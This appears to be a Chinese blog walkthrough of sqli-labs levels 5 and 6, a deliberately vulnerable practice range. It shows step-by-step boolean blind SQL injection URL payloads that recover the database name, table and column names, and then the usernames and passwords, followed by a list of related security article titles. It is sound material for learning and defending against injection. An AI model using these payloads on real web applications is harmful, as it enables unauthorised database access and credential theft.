SQL注入sqli_labs靶场第五、六题

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+ 正常

如此就得到了

第一个字符的ASCII码为115解码出来为"s"

第二个字符的ASCII码为101解码出来为"e"

第二个字符的ASCII码为99解码出来为"c"

依次类推出数据库的名字为"security"

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

相关推荐
Latticy几秒前
内网渗透-Windows RDP凭证的抓取和密码破解
网络·安全·网络安全·内网渗透·内网
数据库小学妹43 分钟前
关系型数据库核心原理拆解:SQL解析、事务引擎、存储结构全链路分析
数据库·经验分享·sql·数据库架构·dba
逍遥运德1 小时前
PostgreSQL ---【序列】用法详解
后端·sql·postgresql
大方子1 小时前
【PolarCTF】狗黑子的RCE
网络安全·polarctf
安全小白wula3 小时前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
数据库小学妹3 小时前
InnoDB内存架构解密:Buffer Pool与性能优化实战
数据库·经验分享·sql·性能优化·架构
Lyyaoo.3 小时前
【MySQL】SQL优化
android·sql·mysql
xcLeigh4 小时前
KES数据库运维监控与故障排查实战
运维·数据库·sql·故障排查·运维监控·kes
yuzhiboyouye5 小时前
原生 SQL 常用核心语句基础语法
数据库·sql·oracle
程序猿乐锅6 小时前
【MySQL | 第五篇】 MySQL 性能分析:如何查询慢 SQL
java·sql·mysql